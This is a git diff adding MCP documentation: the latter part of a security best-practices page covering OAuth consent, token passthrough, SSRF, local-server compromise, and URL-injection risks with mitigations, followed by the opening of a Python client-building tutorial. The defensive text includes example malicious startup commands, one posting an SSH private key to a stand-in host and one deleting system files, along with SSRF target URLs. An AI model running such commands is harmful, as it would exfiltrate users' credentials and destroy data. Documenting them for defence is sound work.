+ MCP->>ThirdParty: Exchange code for token (using static client_id)
+ MCP->>Browser: Redirect to client's registered redirect_uri
+```
+
+##### Required Protections
+
+**Per-Client Consent Storage**
+
+MCP proxy servers **MUST**:
+
+* Maintain a registry of approved `client_id` values per user
+* Check this registry **before** initiating the third-party
+ authorization flow
+* Store consent decisions securely (server-side database, or server
+ specific cookies)
+
+**Consent UI Requirements**
+
+The MCP-level consent page **MUST**:
+
+* Clearly identify the requesting MCP client by name
+* Display the specific third-party API scopes being requested
+* Show the registered `redirect_uri` where tokens will be sent
+* Implement CSRF protection (e.g., state parameter, CSRF tokens)
+* Prevent iframing via `frame-ancestors` CSP directive or
+ `X-Frame-Options: DENY` to prevent clickjacking
+
+**Consent Cookie Security**
+
+If using cookies to track consent decisions, they **MUST**:
+
+* Use `__Host-` prefix for cookie names
+* Set `Secure`, `HttpOnly`, and `SameSite=Lax` attributes
+* Be cryptographically signed or use server-side sessions
+* Bind to the specific `client_id` (not just "user has consented")
+
+**Redirect URI Validation**
+
+The MCP proxy server **MUST**:
+
+* Validate that the `redirect_uri` in authorization requests exactly
+ matches the registered URI
+* Reject requests if the `redirect_uri` has changed without
+ re-registration
+* Use exact string matching (not pattern matching or wildcards)
+
+**OAuth State Parameter Validation**
+
+The OAuth `state` parameter is critical to prevent authorization code
+interception and CSRF attacks. Proper state validation ensures that
+consent approval at the authorization endpoint is enforced at the
+callback endpoint.
+
+MCP proxy servers implementing OAuth flows **MUST**:
+
+* Generate a cryptographically secure random `state` value for each
+ authorization request
+* Store the `state` value server-side (in a secure session store or
+ encrypted cookie) **only after** consent has been explicitly approved
+* Set the `state` tracking cookie/session **immediately before**
+ redirecting to the third-party identity provider (not before consent
+ approval)
+* Validate at the callback endpoint that the `state` query parameter
+ exactly matches the stored value in the callback request's cookies or
+ in the request's cookie-based session
+* Reject any callback requests where the `state` parameter is missing
+ or does not match
+* Ensure `state` values are single-use (delete after validation) and
+ have a short expiration time (e.g., 10 minutes)
+
+The consent cookie or session containing the `state` value **MUST NOT**
+be set until **after** the user has approved the consent screen at the
+MCP server's authorization endpoint. Setting this cookie before consent
+approval renders the consent screen ineffective, as an attacker could
+bypass it by crafting a malicious authorization request.
+
+### Token Passthrough
+
+"Token passthrough" is an anti-pattern where an MCP server accepts
+tokens from an MCP client without validating that the tokens were
+properly issued *to the MCP server* and passes them through to the
+downstream API.
+
+An attacker can gain unauthorized access or otherwise compromise an
+MCP server if the server accepts tokens issued for other resources.
+This vulnerability has two critical dimensions:
+
+1. **Audience validation failures.** When an MCP server doesn't verify
+ that tokens were specifically intended for it (for example, via the
+ audience claim, as mentioned in
+ [RFC9068](https://www.rfc-editor.org/rfc/rfc9068.html)), it may
+ accept tokens originally issued for other services. This breaks a
+ fundamental OAuth security boundary, allowing attackers to reuse
+ legitimate tokens across different services than intended.
+2. **Token passthrough.** If the MCP server not only accepts tokens
+ with incorrect audiences but also forwards these unmodified tokens
+ to downstream services, it can potentially cause the
+ ["confused deputy" problem](#confused-deputy-problem), where the
+ downstream API may incorrectly trust the token as if it came from
+ the MCP server or assume the token was validated by the upstream
+ API.
+
+#### Risks
+
+Token passthrough is explicitly forbidden in the
+[authorization specification](/specification/latest/basic/authorization)
+as it introduces a number of security risks, that include:
+
+* **Security Control Circumvention**
+ * The MCP Server or downstream APIs might implement important security
+ controls like rate limiting, request validation, or traffic
+ monitoring, that depend on the token audience or other credential
+ constraints. If clients can obtain and use tokens directly with the
+ downstream APIs without the MCP server validating them properly or
+ ensuring that the tokens are issued for the right service, they
+ bypass these controls.
+* **Accountability and Audit Trail Issues**
+ * The MCP Server will be unable to identify or distinguish between MCP
+ Clients when clients are calling with an upstream-issued access token
+ which may be opaque to the MCP Server.
+ * The downstream Resource Server's logs may show requests that appear
+ to come from a different source with a different identity, rather
+ than the MCP server that is actually forwarding the tokens.
+ * Both factors make incident investigation, controls, and auditing
+ more difficult.
+ * If the MCP Server passes tokens without validating their claims
+ (e.g., roles, privileges, or audience) or other metadata, a
+ malicious actor in possession of a stolen token can use the server
+ as a proxy for data exfiltration.
+* **Trust Boundary Issues**
+ * The downstream Resource Server grants trust to specific entities.
+ This trust might include assumptions about origin or client behavior
+ patterns. Breaking this trust boundary could lead to unexpected
+ issues.
+ * If the token is accepted by multiple services without proper
+ validation, an attacker compromising one service can use the token
+ to access other connected services.
+* **Future Compatibility Risk**
+ * Even if an MCP Server starts as a "pure proxy" today, it might need
+ to add security controls later. Starting with proper token audience
+ separation makes it easier to evolve the security model.
+
+#### Mitigation
+
+MCP servers **MUST NOT** accept any tokens that were not explicitly
+issued for the MCP server.
+
+### Server-Side Request Forgery (SSRF)
+
+Server-Side Request Forgery (SSRF) is an attack where an attacker can
+induce an MCP client to make HTTP requests to unintended destinations,
+potentially accessing internal network resources, cloud metadata
+endpoints, or other protected services.
+
+#### Attack Description
+
+During OAuth metadata discovery, MCP clients fetch URLs from several
+sources that could be controlled by a malicious MCP server:
+
+1. The `resource_metadata` URL from the `WWW-Authenticate` header
+2. The `authorization_servers` URLs from the Protected Resource Metadata
+ document
+3. The `token_endpoint`, `authorization_endpoint`, and other URLs from
+ Authorization Server Metadata
+
+A malicious MCP server can populate these fields with URLs pointing to
+internal resources, enabling the following attack patterns:
+
+* **Direct internal IP access**: URLs like `http://192.168.1.1/admin` or
+ `http://10.0.0.1/api` target internal network services
+* **Cloud metadata endpoints**: URLs targeting
+ `http://169.254.169.254/` (AWS/GCP/Azure metadata service) can
+ exfiltrate cloud credentials and instance information
+* **Localhost services**: URLs like `http://localhost:6379/` can interact
+ with local services (Redis, databases, admin panels)
+* **DNS rebinding**: Domains that change DNS resolution between
+ validation and use (e.g., `https://attacker.com` resolving to a safe
+ IP initially, then to `192.168.1.1`)
+* **Redirect chains**: Normal-looking URLs that redirect to internal
+ resources
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client as MCP Client
+ participant MCP as Malicious MCP Server
+ participant Internal as Internal Service
+
+ Client->>MCP: Connect to MCP server
+ MCP-->>Client: 401 + resource_metadata="http://169.254.169.254/..."
+
+ Note over Client: Client follows URL without validation
+ Client->>Internal: GET http://169.254.169.254/latest/meta-data/
+ Internal-->>Client: Cloud credentials/metadata
+
+ Note over Client: Error or response details leak to attacker
+ Client->>MCP: Subsequent request with error details
+```
+
+#### Risks
+
+* **Credential exfiltration**: Cloud metadata endpoints often expose
+ IAM credentials, API keys, and other secrets
+* **Internal network reconnaissance**: Error messages reveal information
+ about internal network topology and services
+* **Service interaction**: POST requests (e.g., to token endpoints) can
+ trigger mutations on internal services
+* **Firewall bypass**: The MCP client acts as a proxy, bypassing network
+ perimeter controls
+* **Data exfiltration**: Internal service responses may be reflected back
+ to attackers through error messages or OAuth flows
+
+#### Mitigation
+
+MCP clients deployed to a server **MUST** consider SSRF risks and
+implement appropriate mitigations when fetching OAuth-related URLs.
+Which protections are appropriate depend on your network environment.
+
+**Enforce HTTPS**
+
+MCP clients **SHOULD** require HTTPS for all OAuth-related URLs in
+production environments:
+
+* Reject `http://` URLs except for loopback addresses (`localhost`,
+ `127.0.0.1`, `::1`) during development
+* This aligns with
+ [OAuth 2.1 Section 1.5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-1.5)
+ which requires HTTPS for all OAuth protocol URLs except loopback
+ redirect URIs
+* Provide an explicit opt-out mechanism for development/testing
+ scenarios
+
+**Block Private IP Ranges**
+
+MCP clients **SHOULD** block requests to private and reserved IP address
+ranges as recommended by
+[RFC 9728 Section 7.7](https://datatracker.ietf.org/doc/html/rfc9728#section-7.7):
+
+* Private IPv4 ranges: `10.0.0.0/8`, `172.16.0.0/12`,
+ `192.168.0.0/16`
+* Loopback: `127.0.0.0/8`, `::1` (except when explicitly allowed for
+ development)
+* Link-local: `169.254.0.0/16` (including cloud metadata endpoints)
+* Private IPv6 ranges: `fc00::/7`, `fe80::/10`
+
+
+ Avoid implementing IP validation manually. Attackers exploit encoding tricks
+ (octal, hex, IPv4-mapped IPv6) that custom parsers often miss.
+
+
+**Validate Redirect Targets**
+
+MCP clients **SHOULD** apply the same URL validation to redirect
+targets:
+
+* Do not blindly follow redirects to internal resources
+* Apply HTTPS and IP range restrictions to redirect destinations
+* Consider disabling automatic redirect following and validating each
+ hop
+
+**Use Egress Proxies**
+
+For server-side MCP client deployments, operators **SHOULD** consider
+using an egress proxy that enforces network policies:
+
+* Route OAuth discovery requests through a proxy that blocks internal
+ destinations
+* Use tools like
+ [Smokescreen](https://github.com/stripe/smokescreen) or similar
+ egress proxies that prevent SSRF by design
+* Configure network policies to restrict the MCP client's outbound
+ access
+
+**DNS Resolution Considerations**
+
+Be aware of Time-of-Check to Time-of-Use (TOCTOU) issues with
+DNS-based validation:
+
+* An attacker's domain may resolve to a safe IP during validation but
+ to an internal IP during the actual request
+* Consider pinning DNS resolution results between check and use
+* Defense in depth: combine DNS checks with other mitigations
+
+#### SSRF Against Authorization Servers
+
+SSRF risks are not limited to MCP clients. When an authorization
+server supports
+[Client ID Metadata Documents](/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents),
+the authorization server takes a URL as input from an unknown client
+and fetches that URL. A malicious client could use this to trigger
+the authorization server to make requests to arbitrary URLs, such as
+requests to private administration endpoints the authorization server
+has access to.
+
+The mitigations described above, such as blocking private IP ranges
+and using egress proxies, apply equally to authorization servers
+fetching client metadata documents. See
+[Server Side Request Forgery (SSRF) Attacks](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00#name-server-side-request-forgery)
+in the Client ID Metadata Document specification for further
+guidance.
+
+#### Resources and Tools
+
+The following resources can help developers implement SSRF protections
+in MCP clients.
+
+**Reference Documentation**
+
+* [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html):
+ Comprehensive guidance on SSRF prevention techniques, including input
+ validation, allowlist strategies, and network-level controls
+* [OWASP Top 10 A10:2021 - SSRF](https://owasp.org/Top10/2021/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/):
+ SSRF in the context of the most critical web application security
+ risks
+
+### State Handle Hijacking
+
+MCP is [stateless](/specification/2026-07-28/basic/index#statelessness) and
+has no protocol-level sessions. Servers that need state spanning
+multiple requests mint an explicit handle, such as a shopping cart ID
+or a workflow ID, and receive it back as an ordinary tool argument on
+each request. State handle hijacking is an attack vector where an
+unauthorized party obtains or guesses such a handle and uses it to
+access or modify another user's state.
+
+#### Attack Description
+
+1. The MCP server mints a state handle for an authenticated user and
+ returns it in a tool result.
+2. The attacker obtains or guesses the handle.
+3. The attacker calls the MCP server's tools with the handle as an
+ argument.
+4. The MCP server does not check whether the handle belongs to the
+ caller and operates on the original user's state, allowing
+ unauthorized access or actions.
+
+#### Mitigation
+
+MCP servers that implement authorization **MUST** verify all inbound
+requests. MCP servers **MUST NOT** treat possession of a state handle
+as authentication.
+
+MCP servers **SHOULD** use secure, non-deterministic handles generated
+with secure random number generators. Avoid predictable or sequential
+identifiers that could be guessed by an attacker. Expiring handles can
+also reduce the risk.
+
+MCP servers **SHOULD** bind handles server-side to the authenticated
+user, for example by keying stored state as `:` where
+the user ID is derived from the verified token rather than supplied by
+the client, and reject a handle presented by any other principal. This
+ensures that even if an attacker guesses a handle, they cannot
+impersonate another user.
+
+For guidance on securing the server-assigned session IDs used by
+protocol version `2025-11-25` and earlier, see
+[Session Hijacking in the 2025-11-25 version of this page](/docs/2025-11-25/tutorials/security/security_best_practices#session-hijacking).
+
+### Local MCP Server Compromise
+
+Local MCP servers are MCP Servers running on a user's local machine,
+either by the user downloading and executing a server, authoring a
+server themselves, or installing through a client's configuration flows.
+These servers may have direct access to the user's system and may be
+accessible to other processes running on the user's machine, making them
+attractive targets for attacks.
+
+#### Attack Description
+
+Local MCP servers are binaries that are downloaded and executed on the
+same machine as the MCP client. Without proper sandboxing and consent
+requirements in place, the following attacks become possible:
+
+1. An attacker includes a malicious "startup" command in a client
+ configuration
+2. An attacker distributes a malicious payload inside the server itself
+3. An attacker accesses an insecure local server that's left running on
+ localhost via DNS rebinding
+
+Example malicious startup commands that could be embedded:
+
+```bash theme={null}
+# Data exfiltration
+npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
+
+# Privilege escalation
+sudo rm -rf /important/system/files && echo "MCP server installed!"
+```
+
+#### Risks
+
+Local MCP servers with inadequate restrictions or from untrusted sources
+introduce several critical security risks:
+
+* **Arbitrary code execution**. Attackers can execute any command with
+ MCP client privileges.
+* **No visibility**. Users have no insight into what commands are being
+ executed.
+* **Command obfuscation**. Malicious actors can use complex or
+ convoluted commands to appear legitimate.
+* **Data exfiltration**. Attackers can access legitimate local MCP
+ servers via compromised JavaScript.
+* **Data loss**. Attackers or bugs in legitimate servers could lead to
+ irrecoverable data loss on the host machine.
+
+#### Mitigation
+
+If an MCP client supports one-click local MCP server configuration, it
+**MUST** implement proper consent mechanisms prior to executing commands.
+
+**Pre-Configuration Consent**
+
+Display a clear consent dialog before connecting a new local MCP server
+via one-click configuration. The MCP client **MUST**:
+
+* Show the exact command that will be executed, without truncation
+ (include arguments and parameters)
+* Clearly identify it as a potentially dangerous operation that executes
+ code on the user's system
+* Require explicit user approval before proceeding
+* Allow users to cancel the configuration
+
+The MCP client **SHOULD** implement additional checks and guardrails to
+mitigate potential code execution attack vectors:
+
+* Highlight potentially dangerous command patterns (e.g., commands
+ containing `sudo`, `rm -rf`, network operations, file system access
+ outside expected directories)
+* Display warnings for commands that access sensitive locations (home
+ directory, SSH keys, system directories)
+* Warn that MCP servers run with the same privileges as the client
+* Execute MCP server commands in a sandboxed environment with minimal
+ default privileges
+* Launch MCP servers with restricted access to the file system, network,
+ and other system resources
+* Provide mechanisms for users to explicitly grant additional privileges
+ (e.g., specific directory access, network access) when needed
+* Use platform-appropriate sandboxing technologies (containers, chroot,
+ application sandboxes, etc.)
+* Keep sandboxing solutions up-to-date to account for emerging
+ vulnerabilities
+
+MCP servers intending for their servers to be run locally **SHOULD**
+implement measures to prevent unauthorized usage from malicious
+processes:
+
+* Use the `stdio` transport to limit access to just the MCP client
+* Restrict access if using an HTTP transport, such as:
+ * Require an authorization token
+ * Use unix domain sockets or other Interprocess Communication (IPC)
+ mechanisms with restricted access
+
+### OAuth Authorization URL Validation
+
+OAuth authorization URLs provided by malicious MCP servers can exploit client-side URL handling vulnerabilities, leading to Cross-Site Scripting (XSS) attacks and Remote Code Execution (RCE).
+
+#### Attack Description
+
+During the OAuth authorization flow, MCP servers provide authorization URLs that clients open in browsers or handle programmatically. Malicious servers can exploit insufficient URL validation in MCP clients through the following attack vectors:
+
+**JavaScript URL Injection (XSS)**
+
+1. A malicious MCP server provides a `javascript:` URL as the authorization endpoint
+2. The MCP client passes this URL directly to `window.open()` or similar browser APIs
+3. The browser executes the JavaScript code embedded in the URL
+4. The attacker gains JavaScript execution context within the client application, potentially leading to session hijacking, credential theft, or further exploitation
+
+**Command Injection via Shell Execution**
+
+1. A malicious MCP server provides a URL containing shell command injection payloads
+2. The MCP client uses shell commands (e.g., `cmd.exe`, PowerShell, or shell scripts) to open the URL
+3. The shell interprets parts of the URL as additional commands to execute
+4. The attacker achieves arbitrary code execution on the user's system
+
+**stdio Transport Privilege Escalation**
+
+When XSS vulnerabilities are combined with `stdio` transport capabilities,
+attackers can escalate web-based attacks to full system compromise. See
+[stdio Transport Security in Proxy Scenarios](#stdio-transport-security-in-proxy-scenarios)
+for detailed attack vectors and mitigations.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant MaliciousMCP as Malicious MCP Server
+ participant Client as MCP Client
+ participant Proxy as MCP Proxy
+ participant System as Host System
+
+ MaliciousMCP->>Client: Malicious authorization URL (javascript:)
+ Client->>Client: Execute JavaScript (XSS)
+ Client->>Client: Extract proxy auth token
+ Client->>Proxy: Malicious stdio command request
+ Note over Client,Proxy: Using stolen authentication token
+ Proxy->>System: Execute arbitrary command
+ System-->>Proxy: Command output
+ Proxy-->>Client: Command result
+ Client-->>MaliciousMCP: Exfiltrate data/establish persistence
+```
+
+#### Risks
+
+OAuth authorization URL vulnerabilities introduce several critical security risks:
+
+* **Cross-Site Scripting (XSS)**. Malicious JavaScript execution can lead to session hijacking, credential theft, and unauthorized actions within the client application.
+* **Remote Code Execution (RCE)**. Command injection through shell execution allows attackers to run arbitrary code with user privileges.
+* **Privilege Escalation**. XSS combined with `stdio` transport can escalate web-based attacks to full system compromise.
+* **Data Exfiltration**. Attackers can access sensitive data, configuration files, and credentials stored on the user's system.
+* **Persistence**. Attackers can install malware, create backdoors, or modify system configurations for persistent access.
+
+#### Mitigation
+
+**URL Scheme Validation**
+
+MCP clients **MUST** validate authorization URLs and reject dangerous schemes:
+
+* **MUST** only allow `http://` and `https://` schemes for authorization URLs.
+ The `http://` scheme is acceptable only for loopback addresses (such as
+ `localhost`, `127.0.0.1`, or `::1`) during local development; authorization
+ servers in production **MUST** use `https://`.
+* **MUST** reject `javascript:`, `data:`, `file:`, `vbscript:`, and other potentially dangerous schemes
+* **SHOULD** use allowlist-based validation rather than blocklist-based approaches
+
+**Secure URL Opening**
+
+MCP clients **MUST** avoid shell execution when opening URLs:
+
+* **MUST NOT** use shell commands (e.g., `cmd.exe`, `sh`, PowerShell) to open URLs
+* **SHOULD** use platform-specific, non-shell URL opening mechanisms
+
+**Content Security Policy (CSP)**
+
+Web-based MCP clients **SHOULD** implement Content Security Policy headers to prevent JavaScript execution:
+
+* Set `script-src 'self'` to prevent execution of inline JavaScript
+* Use `default-src 'self'` to restrict resource loading
+* Consider `script-src 'nonce-'` for dynamic content that requires inline scripts
+
+**Input Sanitization**
+
+MCP clients **MUST** sanitize and validate all URLs received from MCP servers:
+
+* Implement strict URL parsing and validation
+* Reject URLs with special characters that could be interpreted by shells
+* Consider using dedicated URL sanitization libraries
+* Log suspicious authorization URLs for security monitoring
+
+### stdio Transport Security in Proxy Scenarios
+
+The `stdio` transport itself is not inherently vulnerable. However, in proxy architectures where a separate proxy service manages `stdio` connections and can spawn MCP servers as child processes, it can provide a critical escalation path from web-based attacks to full system compromise.
+
+#### Attack Description
+
+**Important**: This attack vector only applies to MCP implementations that use a proxy architecture, not to direct `stdio` transport usage.
+
+In proxy-based MCP implementations, a local proxy service sits between the client and MCP servers, spawning servers as child processes via the `stdio` transport. This architecture creates a privileged escalation path when combined with client-side vulnerabilities:
+
+1. Attacker achieves XSS or other client-side code execution (e.g., through OAuth URL vulnerabilities)
+2. Using the attack vector above, the malicious actor accesses the MCP proxy authentication token established between the client and the proxy from the client's environment
+3. Malicious actor makes authenticated requests to the local MCP proxy service
+4. Proxy spawns arbitrary commands via the `stdio` transport (believing they are legitimate MCP server commands)
+5. Attacker achieves Remote Code Execution with user privileges
+
+#### Risks
+
+* **Privilege Escalation**. Web-based vulnerabilities (XSS) can escalate to arbitrary code execution on the host system through proxy command execution
+* **Authentication Bypass**. Stolen proxy authentication tokens allow unauthorized access to stdio process spawning capabilities
+* **System Compromise**. Attackers can execute any command that the MCP proxy process has privileges to run
+
+#### Mitigation
+
+The primary defense is to prevent classes of vulnerabilities that enable this attack vector:
+
+* Implement the mitigations described in [OAuth Authorization URL Validation](#oauth-authorization-url-validation)
+* Use Content Security Policy (CSP) to prevent JavaScript execution from untrusted sources
+* Validate and sanitize all input from MCP servers before processing
+
+Since XSS fundamentally compromises the client's security context, focus on limiting the damage:
+
+**stdio Transport Restrictions**
+
+MCP proxy services **SHOULD** implement additional security controls for `stdio` transport:
+
+* Implement sandboxing or containerization for spawned processes
+* Restrict file system access for spawned MCP servers
+* Log all `stdio` transport usage for security monitoring
+* Require additional authorization for potentially dangerous commands
+
+**Client-Side Protections**
+
+MCP clients **SHOULD** implement defense-in-depth measures:
+
+* Isolate proxy communication in a separate security context when possible
+* Use principle of least privilege for proxy process permissions
+* Implement process-level sandboxing for the proxy service itself
+* Consider running the proxy in a container or restricted environment
+
+### Mix-Up Attacks
+
+#### Attack Description
+
+An MCP client typically interacts with many authorization servers
+over its lifetime. An attacker that controls one of those
+authorization servers may attempt to have the client send it an
+authorization code or token issued by a different, honest
+authorization server (a mix-up attack, described in
+[RFC9207 Section 1](https://datatracker.ietf.org/doc/html/rfc9207#section-1)).
+
+#### Mitigation
+
+[Authorization Response Validation](/specification/2026-07-28/basic/authorization#authorization-response-validation)
+mitigates this by binding the response to the authorization server
+the client recorded before redirecting, so the authorization code
+cannot be redeemed at an unintended token endpoint. PKCE alone does
+not prevent this attack because the client transmits the
+`code_verifier` to the attacker's token endpoint. Resource indicators
+do not help when the attacker's authorization server is intercepting
+requests before they hit the honest authorization server. This
+mitigation depends on honest authorization servers emitting `iss`; it
+provides no protection against an honest server that does not.
+
+### Localhost Redirect URI Impersonation
+
+Native and locally-running MCP clients commonly use `localhost`
+redirect URIs. When clients identify themselves with
+[Client ID Metadata Documents](/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents),
+the metadata document proves control of a domain, but it cannot prove
+which local process is listening on a `localhost` redirect URI.
+
+#### Attack Description
+
+An attacker can claim to be any client by:
+
+1. Providing the legitimate client's metadata URL as their `client_id`
+2. Binding to any `localhost` port, and providing that address as
+ the redirect\_uri
+3. Receiving the authorization code via the redirect when the user
+ approves
+
+The server will see the legitimate client's metadata document and the
+user will see the legitimate client's name, making attack detection
+difficult.
+
+#### Mitigation
+
+See
+[Localhost Redirect URI Risks](/specification/2026-07-28/basic/authorization/security-considerations#localhost-redirect-uri-risks)
+in the authorization specification for the countermeasures expected
+of authorization servers, including displaying additional warnings for
+`localhost`-only redirect URIs and clearly displaying the redirect URI
+hostname during authorization.
+
+### CIMD Trust Policies
+
+Authorization servers that accept
+[Client ID Metadata Documents](/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents)
+can apply domain-based trust policies to decide which URL-based
+client IDs to accept:
+
+* Allowlists for trusted domains (for protected servers)
+* Accept any HTTPS `client_id` (for open servers)
+* Reputation checks for unknown domains
+* Restrictions based on domain age or certificate validation
+* Display the CIMD and other associated client hostnames prominently
+ to prevent phishing
+
+Servers maintain full control over their access policies. See
+[Trust Policies](/specification/2026-07-28/basic/authorization/security-considerations#trust-policies)
+in the authorization specification, along with
+[Section 6.4](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.4)
+and
+[Section 6.8](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.8)
+of the Client ID Metadata Document specification, for more details.
+
+### Scope Minimization
+
+Poor scope design increases token compromise impact, elevates user
+friction, and obscures audit trails.
+
+#### Attack Description
+
+An attacker obtains (via log leakage, memory scraping, or local
+interception) an access token carrying broad scopes (`files:*`, `db:*`,
+`admin:*`) that were granted up front because the MCP server exposed
+every scope in `scopes_supported` and the client requested them all.
+The token enables lateral data access, privilege chaining, and difficult
+revocation without re-consenting the entire surface.
+
+#### Risks
+
+* Expanded blast radius: stolen broad token enables unrelated
+ tool/resource access
+* Higher friction on revocation: revoking a max-privilege token disrupts
+ all workflows
+* Audit noise: single omnibus scope masks user intent per operation
+* Privilege chaining: attacker can immediately invoke high-risk tools
+ without further elevation prompts
+* Consent abandonment: users decline dialogs listing excessive scopes
+* Scope inflation blindness: lack of metrics makes over-broad requests
+ normalised
+
+#### Mitigation
+
+Implement a progressive, least-privilege scope model:
+
+* Minimal initial scope set (e.g., `mcp:tools-basic`) containing only
+ low-risk discovery/read operations
+* Incremental elevation via targeted `WWW-Authenticate` `scope="..."`
+ challenges when privileged operations are first attempted
+* Down-scoping tolerance: server should accept reduced scope tokens;
+ auth server MAY issue a subset of requested scopes
+
+Server guidance:
+
+* Emit precise scope challenges; avoid returning the full catalog
+* Log elevation events (scope requested, granted subset) with
+ correlation IDs
+
+Servers have flexibility in determining which scopes to include:
+
+* **Minimum approach**: Include only the scopes required for the
+ specific operation that triggered the error.
+* **Recommended approach**: Include the scopes required for the
+ current operation along with related scopes that commonly work
+ together, to reduce the number of step-up authorization rounds.
+* **Extended approach**: Include the scopes required for the
+ current operation, related scopes, and any other scopes the
+ server anticipates the client may need in the near future.
+
+The choice depends on the server's assessment of user experience impact and authorization friction.
+
+Client guidance:
+
+* Begin with only baseline scopes (or those specified by initial
+ `WWW-Authenticate`)
+* Cache recent failures to avoid repeated elevation loops for denied
+ scopes
+
+When the initial `WWW-Authenticate` challenge carries no `scope`
+parameter, the
+[Scope Selection Strategy](/specification/2026-07-28/basic/authorization#scope-selection-strategy)
+directs clients to fall back to requesting all scopes listed in
+`scopes_supported`. This approach accommodates the general-purpose
+nature of MCP clients, which typically lack domain-specific knowledge
+to make informed decisions about individual scope selection.
+Requesting all available scopes allows the authorization server and
+end-user to determine appropriate permissions during the consent
+process, minimizing user friction while following the principle of
+least privilege.
+
+
+ Scope accumulation across operations is a client-side responsibility. Clients
+ **SHOULD** compute the union of previously requested scopes and newly
+ challenged scopes when initiating re-authorization, as described in [Step-Up
+ Authorization
+ Flow](/specification/2026-07-28/basic/authorization#step-up-authorization-flow).
+ This allows servers to remain stateless with respect to client scope sets
+ while ensuring clients do not lose previously granted permissions.
+
+
+
+ **Hierarchical scopes**: Some authorization servers define scope hierarchies
+ where a broader scope implies narrower ones (for example, an `admin` scope
+ that subsumes `read`). When accumulating scopes, the client's union may
+ contain semantically redundant entries. For example, a token previously
+ granted a broad scope may be challenged with a narrower one it already
+ implies. Clients need not deduplicate hierarchically; authorization servers
+ typically normalize such redundancy during token issuance. Servers, for their
+ part, must account for hierarchy when deciding whether a token is sufficient
+ for an operation, but this does not affect the scopes they emit in a
+ challenge.
+
+
+#### Common Mistakes
+
+* Publishing all possible scopes in `scopes_supported`
+* Using wildcard or omnibus scopes (`*`, `all`, `full-access`)
+* Bundling unrelated privileges to preempt future prompts
+* Returning entire scope catalog in every challenge
+* Silent scope semantic changes without versioning
+* Treating claimed scopes in token as sufficient without server-side
+ authorization logic
+
+Proper minimization constrains compromise impact, improves audit
+clarity, and reduces consent churn.
diff --git a/content/mcp/docs/draft/develop/build-client.md b/content/mcp/docs/draft/develop/build-client.md
new file mode 100644
index 000000000..d23a0e0ae
--- /dev/null
+++ b/content/mcp/docs/draft/develop/build-client.md
@@ -0,0 +1,2522 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build an MCP client
+
+> Get started building your own client that can integrate with all MCP servers.
+
+In this tutorial, you'll learn how to build an LLM-powered chatbot client that connects to MCP servers.
+
+Before you begin, it helps to have gone through our [Build an MCP Server](/docs/draft/develop/build-server) tutorial so you can understand how clients and servers communicate.
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-python)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Latest Python version installed
+ * Latest version of `uv` installed
+ * You must use the Python MCP SDK 2.0.0 or higher
+
+ ## Setting Up Your Environment
+
+ First, create a new Python project with `uv`:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ uv init mcp-client
+ cd mcp-client
+
+ # Create virtual environment
+ uv venv
+
+ # Activate virtual environment
+ source .venv/bin/activate
+
+ # Install required packages
+ uv add mcp anthropic python-dotenv
+
+ # Remove boilerplate files
+ rm main.py
+
+ # Create our main file
+ touch client.py
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ uv init mcp-client
+ cd mcp-client
+
+ # Create virtual environment
+ uv venv
+
+ # Activate virtual environment
+ .venv\Scripts\activate
+
+ # Install required packages
+ uv add mcp anthropic python-dotenv
+
+ # Remove boilerplate files
+ del main.py
+
+ # Create our main file
+ new-item client.py
+ ```
+
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Imports and Setup
+
+ First, let's set up our imports and the pieces the rest of the file shares:
+
+ ```python theme={null}
+ import asyncio
+ import sys
+
+ from mcp import Client, StdioServerParameters
+ from mcp.client.stdio import stdio_client
+ from mcp_types import TextContent
+
+ from anthropic import Anthropic
+ from dotenv import load_dotenv
+
+ load_dotenv() # load environment variables from .env
+
+ MODEL = "claude-opus-5"
+ anthropic = Anthropic()
+ ```
+
+ `Client` is the single object your program talks to the server through. Listing the tools, calling one, reading a resource: each of those is a method on it.
+
+ ### Server Connection Management
+
+ Next, we'll work out which process to launch for a given server script:
+
+ ```python theme={null}
+ def server_params(server_script_path: str) -> StdioServerParameters:
+ """Describe the subprocess that runs an MCP server
+
+ Args:
+ server_script_path: Path to the server script (.py or .js)
+ """
+ if server_script_path.endswith(".py"):
+ command = "python"
+ elif server_script_path.endswith(".js"):
+ command = "node"
+ else:
+ raise ValueError("Server script must be a .py or .js file")
+
+ return StdioServerParameters(command=command, args=[server_script_path])
+ ```
+
+ `StdioServerParameters` is configuration, not a connection. `stdio_client()` turns it into a stdio transport, and `Client` opens that transport when you enter its `async with` block. We'll do both in `main()`.
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```python theme={null}
+ async def process_query(client: Client, query: str) -> str:
+ """Process a query using Claude and available tools"""
+ messages = [
+ {
+ "role": "user",
+ "content": query
+ }
+ ]
+
+ tool_list = await client.list_tools()
+ available_tools = [{
+ "name": tool.name,
+ "description": tool.description,
